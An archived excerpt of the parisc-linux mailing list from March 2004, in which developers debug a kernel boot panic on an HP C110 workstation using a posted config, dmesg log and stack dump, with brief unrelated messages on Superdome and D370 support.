	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 21 Mar 2004 00:24:59 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21148

On Sat, Mar 20, 2004 at 11:45:59PM +0000, Joel Soete wrote:
> I just rebuild 2.6.5-rc1-pa1 kernel on my c110 with b180 config (minus hil 
> kbd and mouse support).

c110 requires ccio driver. B180 does not.
Is that included in the b180 config?

grant


From - Thu Nov 08 21:31:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc1-pa1 hung on C110
Date: Sun, 21 Mar 2004 00:37:18 +0000
Lines: 64
Approved: news@gmane.org
Message-ID: <405CE3BE.7060503@tiscali.be>
References: <405CD7B7.6090007@tiscali.be>
	<20040321002457.GA31600@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623290 7098 80.91.229.3 (22 Nov 2014 02:28:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Sat Mar 20 17:37:23 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id 96AB94867
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Mar 2004 17:37:23 -0700 (MST)
Original-Received: from [62.235.121.166] (port=33129 helo=tiscali.be)
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1B4qxt-0005qc-Rt; Sun, 21 Mar 2004 01:37:22 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040312 Debian/1.6-3
X-Accept-Language: en
In-Reply-To: <20040321002457.GA31600@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 21 Mar 2004 00:37:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21149

Hi Grant,

Grant Grundler wrote:
> On Sat, Mar 20, 2004 at 11:45:59PM +0000, Joel Soete wrote:
> 
>>I just rebuild 2.6.5-rc1-pa1 kernel on my c110 with b180 config (minus hil 
>>kbd and mouse support).
> 
> 
> c110 requires ccio driver. B180 does not.
> Is that included in the b180 config?
> 
Yes.
Here is the config part:
[snip]
#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
CONFIG_HPPB=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_EISA=y
CONFIG_EISA_NAMES=y
# CONFIG_ISA is not set
CONFIG_PCI=y
CONFIG_PCI_LEGACY_PROC=y
CONFIG_PCI_NAMES=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS=y

the same as 2.6.3-rc1:
#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
CONFIG_HPPB=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_EISA=y
CONFIG_EISA_NAMES=y
# CONFIG_ISA is not set
CONFIG_PCI=y
CONFIG_PCI_LEGACY_PROC=y
CONFIG_PCI_NAMES=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS=y
# CONFIG_HOTPLUG is not set

Thanks,
	Joel


From - Thu Nov 08 21:31:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Sun, 21 Mar 2004 13:17:04 +0000
Lines: 199
Approved: news@gmane.org
Message-ID: <405D95D0.9030600@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623290 7101 80.91.229.3 (22 Nov 2014 02:28:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:10 +0000 (UTC)
To: PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Sun Mar 21 06:17:08 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE377486C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Mar 2004 06:17:07 -0700 (MST)
Original-Received: from [62.235.120.56] (port=32885 helo=tiscali.be)
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1B52p7-00042A-W7; Sun, 21 Mar 2004 14:17:06 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040312 Debian/1.6-3
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 21 Mar 2004 13:17:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21150

Hi all,

I just co last cvs kernel 2.6.5-rc2-pa2 and rebuild it last b180 config file on my c110 but still boot panic with following dmesg:
Linux version 2.6.5-rc2-pa2 (root@hpalin) (gcc version 3.3.3 (Debian 20040306)) #1 Sun Mar 21 13:27:53 CET 2004
FP[0] enabled: Rev 1 Model 11
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 000058e0 00000481 00000000 00000002 77e47570 100000f1 00000004 0000008a 0000008a
vers  0000000d
CPUID vers 11 rev 13 (0x0000016d)
model 9000/777/C110
Total Memory: 128 Mb
On node 0 totalpages: 32768
   DMA zone: 32768 pages, LIFO batch:8
   Normal zone: 0 pages, LIFO batch:1
   HighMem zone: 0 pages, LIFO batch:1
Built 1 zonelists
Kernel command line: root=/dev/md2 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=3/vmlinux-2.6.5-rc2-pa2
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x64
Memory: 126200k available
Calibrating delay loop... 119.60 BogoMIPS
Security Scaffold v1.0.0 initialized
Capability LSM initialized
Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
POSIX conformance testing by UNIFIX
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0x7, 0x580, 0x0000b }
2. SkyHawk 100/120 FW-SCSI at 0xf3f8c000 [8/12] { 4, 0x0, 0x01f, 0x00089 }
3. Raven T' Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x032, 0x00081 },  additional addresses: 0xffd0c000 0xffc00000
4. Raven T' Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x032, 0x00074 },  additional addresses: 0xffd01000 0xffd03000
5. Raven T' Audio at 0xffd04000 [8/16/1] { 10, 0x0, 0x032, 0x0007b }
6. Raven T' Lasi Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x032, 0x0008c }
7. Raven T' Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x032, 0x00082 }
8. Raven T' Core LAN (802.3) at 0xffd07000 [8/16/6] { 10, 0x0, 0x032, 0x0008a }
9. Raven T' Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x032, 0x00084 }
10. Raven T' Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x032, 0x00084 }
11. Raven T' Core PC Floppy at 0xffd0a000 [8/16/10] { 10, 0x0, 0x032, 0x00083 }
12. Raven T' Wax BA at 0xffe00000 [8/20] { 11, 0x0, 0x01e, 0x0008e },  additional addresses: 0xffe03000 0xffe06000
13. Raven T' Wax HIL at 0xffe01000 [8/20/1] { 10, 0x0, 0x01e, 0x00073 }
14. Raven T' Wax RS-232 at 0xffe02000 [8/20/2] { 10, 0x0, 0x01e, 0x0008c }
15. Raven T' Wax EISA BA at 0xfc000000 [8/20/5] { 11, 0x0, 0x01e, 0x00090 },  additional addresses: 0xffc88400 0xf4000000
16. U2-IOA BC GSC+ Port at 0xf3fbf000 [8/63] { 7, 0x1, 0x501, 0x0000c },  additional addresses: 0xf3f80000
17. U2-IOA BC Runway Port at 0xfff8a000 [10] { 12, 0x7, 0x580, 0x0000b }
18. Raven T' GSC Core Graphics at 0xf4000000 [10/16] { 10, 0x0, 0x032, 0x00085 },  additional addresses: 0xf0069000
19. U2-IOA BC GSC+ Port at 0xf3fff000 [10/63] { 7, 0x1, 0x501, 0x0000c }
20. Raven 120 T' at 0xfffa0000 [32] { 0, 0x0, 0x58e, 0x00004 }
21. Memory at 0xfffb1000 [49] { 1, 0x0, 0x049, 0x00009 }
CPU(s): 1 x PA7200 (PCX-T') at 120.000000 MHz
Lasi version 0 at 0xffd00000 found.
Wax at 0xffe00000 found.
Wax EISA Adapter found at 0xfc000000
EISA EEPROM: cannot register misc device.
Enumerating EISA bus
EISA: Probing bus 0 at parisc8:20:5
EISA: Mainboard HWPC0E1 detected.
EISA: Detected 0 cards.
SCSI subsystem initialized
STI GSC/PCI core graphics driver Version 0.9a
     id 2b4ded6d-40a00499, conforms to spec rev. 8.04
     graphics card name: HPA208LC1024
fb0: stifb 1024x768-8 frame buffer device, HPA208LC1024, id: 2b4ded6d, mmio: 0xf4100000
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Initializing Cryptographic API
Soft power switch enabled, polling @ 0xf0140000.
Console: switching to colour frame buffer device 128x48
lp: driver loaded but no devices found
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
ttyS0 at MMIO 0xffd05800 (irq = 90) is a 16550A
ttyS1 at MMIO 0xffe02800 (irq = 121) is a 16550A
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
lp0: using parport0 (interrupt-driven).
loop: loaded (max 8 devices)
PPP generic driver version 2.4.2

Stack Dump:
  10594718:  10594718 1035c010 00000000 39158180
  10594708:  1042dc80 1035b1c8 1035d7c4 10368270
  105946f8:  00000004 00002e92 00002e94 1014133c
  105946e8:  100fe640 17fdf080 fffffff4 100fe64c
  105946d8:  1035d7c4 1035d7c4 000000b5 00000000
  105946c8:  10594380 0000001a 00000000 10368270
  105946b8:  00000004 00002e89 00002e92 1010401c
  105946a8:  1035c010 00000000 39158180 1042dc80
  10594698:  1035b1c8 1035d7c4 000000b5 00000001
  10594688:  1035db0c 17fe9a50 000000d0 17ff8b2c
  10594678:  00000000 17ff8b2c 000000d0 00000001
  10594668:  00000001 000000d0 1042dc80 1035b1c8
  10594658:  3b9aca00 ffd06100 17f390c0 1036e578
  10594648:  17fdd600 17fe9a50 00000010 17ff8ab8
  10594638:  00000080 17ff8ab8 000000d0 101414c8
  10594628:  00000001 000000d0 100d7084 17ff8ab8
  10594618:  100d7040 100e4000 100d7f38 100d7f38
  10594608:  00000001 000000d0 000000d0 17ff8ab8
  105945f8:  00000040 17ff8ab8 000000d0 1014492c
  105945e8:  00000001 000000d0 1042dc80 1035b1c8
  105945d8:  3b9aca00 1035d010 1042d810 00000001
  105945c8:  1035db0c 17fe9a50 00000010 10031640
  105945b8:  105f2400 10444404 1036f010 10109088
  105945a8:  10445010 00000000 1035e810 10594408
  10594598:  17ff2b20 00000000 000000f3 0098963a
  10594588:  39158180 1042dc80 fffffff4 17ff8ab8
  10594578:  00000000 17ff8ab8 000000d0 10174e34
  10594568:  00000001 00000000 17ff2b20 10594408
  10594558:  00000000 00000000 00000000 00000000
  10594548:  0e601096 0000000e 100e46c0 10368270
  10594538:  00000004 17fedd00 10594388 103bdd20
  10594528:  103bdd1c 00000000 00000000 00000000
  10594518:  00000000 00000000 00000000 00000000
  10594508:  00000000 00000000 00000000 00000000
  105944f8:  41000000 00000000 40800000 00000000
  105944e8:  40000000 00000000 40000000 7fffffff
  105944d8:  41800000 00000000 40200000 00000000
  105944c8:  40200000 00000000 40300000 00000000
  105944b8:  41000000 00000000 40800000 7fffffff
  105944a8:  7fffffff 00000000 41000000 7fffffff
  10594498:  7fffffff 00000800 00000400 00000200
  10594488:  00000100 00000080 00000040 00000000
  10594478:  00000000 00000010 00000010 00000000
  10594468:  41800000 25b7ea20 45e69c6a 00000000
  10594458:  00000000 e0000000 43ebebeb ffffffff
  10594448:  7f7fffff 00000020 00000010 00000000
  10594438:  00000000 00000000 00000000 00000000
  10594428:  00000000 00000000 00000000 00000000
  10594418:  0000001f 00000000 0000001f 00000000
  10594408:  0000001f 00000000 000b0800 1010cb30
  105943f8:  10594380 3a699d00 17f390c0 10346010
  105943e8:  17fdd688 00000000 ffffffff 00000000
  105943d8:  17f3910c 00000000 00000000 00000000
  105943c8:  f00000a4 f00000ac f00010f4 1042d810
  105943b8:  1035d010 3b9aca00 1035b1c8 1042dc80
  105943a8:  ffffffff 00000000 000000f3 17fdd688
  10594398:  17fdd600 1036e578 17f390c0 ffd06100
  10594388:  103bdbe8 1042b010 0004ff0f 10368270
  10594378:  00000004 00002f25 00002f42 103bdbcc
  10594368:  10364178 00000400 1042e810 1036dab4
  10594358:  103641c4 1035c010 00000000 1036e5a0
  10594348:  1036e5a0 10348544 1036e5a0 10368270
  10594338:  00000004 00002f73 00002f94 101907c4
  10594328:  1036dab8 1036dab8 00000014 1036dab4

Kernel addresses on the stack:
  [<101242ac>] call_console_drivers+0xd4/0x17c
  [<10103d68>] parisc_terminate+0x60/0xb4
  [<1014133c>] buffered_rmqueue+0xfc/0x1bc
  [<1010401c>] handle_interruption+0x260/0x560
  [<101414c8>] __alloc_pages+0xcc/0x378
  [<1014492c>] cache_init_objs+0xb0/0xb8
  [<10109088>] intr_check_sig+0x0/0xc
  [<10174e34>] d_alloc+0x34/0x1f0
  [<103bdd20>] lasi700_probe+0x190/0x1cc
  [<103bdbcc>] lasi700_probe+0x3c/0x1cc
  [<101907c4>] sysfs_create_dir+0x3c/0x80
  [<1010cb30>] parisc_driver_probe+0x2c/0x60
  [<102197c8>] bus_match+0x4c/0x84
  [<10219934>] driver_attach+0x80/0xa8
  [<101e8498>] kobject_register+0x28/0x64
  [<10219c10>] bus_add_driver+0xac/0xbc
  [<101e83cc>] kobject_add+0x54/0xf8
  [<10219fc0>] driver_register+0x44/0x50
  [<103bdb6c>] NCR_700_init+0x18/0x3c
  [<103a9384>] do_initcalls+0x58/0xfc
  [<101001d0>] init+0x28/0xd0
  [<10108c5c>] ret_from_kernel_thread+0x1c/0x24


Kernel Fault: Code=26 regs=10594380 (Addr=00000000)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 1042b010 103bdbe8 ffd06100
r04-07  17f390c0 1036e578 17fdd600 17fdd688
r08-11  000000f3 00000000 ffffffff 1042dc80
r12-15  1035b1c8 3b9aca00 1035d010 1042d810
r16-19  f00010f4 f00000ac f00000a4 00000000
r20-23  00000000 00000000 17f3910c 00000000
r24-27  ffffffff 00000000 17fdd688 10346010
r28-31  17f390c0 3a699d00 10594380 1010cb30
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 103bdd1c 103bdd20
  IIR: 0e601096    ISR: 00000000  IOR: 00000000
  CPU:        0   CR30: 10594000 CR31: 103a0000
  ORIG_R28: 00000004
  IAOQ[0]: lasi700_probe+0x18c/0x1cc
  IAOQ[1]: lasi700_probe+0x190/0x1cc
  RP(r2): lasi700_probe+0x58/0x1cc

hth,
	Joel


From - Thu Nov 08 21:31:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Sun, 21 Mar 2004 12:57:16 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20040321195716.GC12455@colo.lackof.org>
References: <405D95D0.9030600@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623290 7107 80.91.229.3 (22 Nov 2014 02:28:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:10 +0000 (UTC)
Cc: PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Sun Mar 21 12:57:17 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id D1C26486C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Mar 2004 12:57:17 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 11072298056; Sun, 21 Mar 2004 12:57:17 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 13254-09; Sun, 21 Mar 2004 12:57:16 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 6F300298055; Sun, 21 Mar 2004 12:57:16 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <405D95D0.9030600@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 21 Mar 2004 19:57:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21151

On Sun, Mar 21, 2004 at 01:17:04PM +0000, Joel Soete wrote:
...
> PPP generic driver version 2.4.2
...
> Kernel addresses on the stack:

[ looks a bit scrambled ]

...
> Kernel Fault: Code=26 regs=10594380 (Addr=00000000)

null ptr deref.

...
>  IAOQ[0]: lasi700_probe+0x18c/0x1cc
>  IAOQ[1]: lasi700_probe+0x190/0x1cc
>  RP(r2): lasi700_probe+0x58/0x1cc

IOAQ[0] is the offending instruction.
Brute force debug method is to start adding
printk's to lasi700_probe. It shouldn't take
more than a few iterations to find the offending line.

grant


From - Thu Nov 08 21:31:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Mon, 22 Mar 2004 08:07:20 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <40561EAF00004465@ocpmta1.freegates.net>
References: <20040321195716.GC12455@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623291 7111 80.91.229.3 (22 Nov 2014 02:28:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:11 +0000 (UTC)
Cc: PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Mon Mar 22 00:27:57 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 716D84854
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 22 Mar 2004 00:27:57 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1B5Jqk-0001gW-00; Mon, 22 Mar 2004 08:27:54 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 22 Mar 2004 08:07:20 +0100
In-Reply-To: <20040321195716.GC12455@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 22 Mar 2004 07:27:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21152

Hello Grant,

>> ...
>>  IAOQ[0]: lasi700_probe+0x18c/0x1cc
>>  IAOQ[1]: lasi700_probe+0x190/0x1cc
>>  RP(r2): lasi700_probe+0x58/0x1cc
>
>IOAQ[0] is the offending instruction.
>Brute force debug method is to start adding
>printk's to lasi700_probe. It shouldn't take
>more than a few iterations to find the offending line.

Thanks, I will foreseen such work next week-end :)

Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn.helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [DOC] Linux
Date: Mon, 22 Mar 2004 09:23:58 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <200403220923.58173.bjorn.helgaas@hp.com>
References: <mnet2.1079773336.27405.pinotj@club-internet.fr>
	<20040320114011.20de3426.varenet@esiee.fr>
	<20040320134916.GX25059@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623291 7112 80.91.229.3 (22 Nov 2014 02:28:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:11 +0000 (UTC)
Cc: Thibaut VARENE <varenet@esiee.fr>, ajwalker@broadpark.no,
	Matthew Wilcox <willy@debian.org>, pinotj@club-internet.fr,
	joey@infodrom.org, parisc-linux@parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: bjorn.helgaas@hp.com  Mon Mar 22 09:24:16 2004
Return-Path: <bjorn.helgaas@hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id DABC9499F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 22 Mar 2004 09:24:16 -0700 (MST)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel8.hp.com (Postfix) with ESMTP
	id 677781C00DA8; Mon, 22 Mar 2004 11:24:13 -0500 (EST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 0671741EB13; Mon, 22 Mar 2004 09:24:08 -0700 (MST)
Original-Received: from eeyore.helgaas (lart.fc.hp.com [15.11.146.31])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id B7ED31340C7; Mon, 22 Mar 2004 09:23:58 -0700 (MST)
User-Agent: KMail/1.6.1
In-Reply-To: <20040320134916.GX25059@parcelfarce.linux.theplanet.co.uk>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 22 Mar 2004 16:24:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21153

On Saturday 20 March 2004 6:49 am, Matthew Wilcox wrote:
> On Sat, Mar 20, 2004 at 11:40:11AM +0100, Thibaut VARENE wrote:
> > > +       Superdome will need some additional work.
> > 
> > Superdome, if ever supported, will not be supported as a "Superdome"
> > system, but as separate units, as far as I've been told. The same goes
> > for 742/743 VME boards that works standalone.
> 
> I think that's incorrect.  Superdome works as a big SMP box.

I thought Superdome needed the kmap trick to deal with the fact
that it doesn't do non-equivalent aliasing quite right.  Or maybe
that's already been done?


From - Thu Nov 08 21:31:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Corn=E9_Beerse?= <cbeerse@lycos.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP D370, kernel 2.6.x and configuration file
Date: Mon, 22 Mar 2004 17:41:45 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <405F1749.9010809@lycos.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623292 7116 80.91.229.3 (22 Nov 2014 02:28:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: cbeerse@lycos.nl  Mon Mar 22 09:41:50 2004
Return-Path: <cbeerse@lycos.nl>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lmfilto02.st1.spray.net (lmfilto02.st1.spray.net
	[212.78.202.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9776148F7
	for <parisc-linux@lists.parisc-linux.org>;
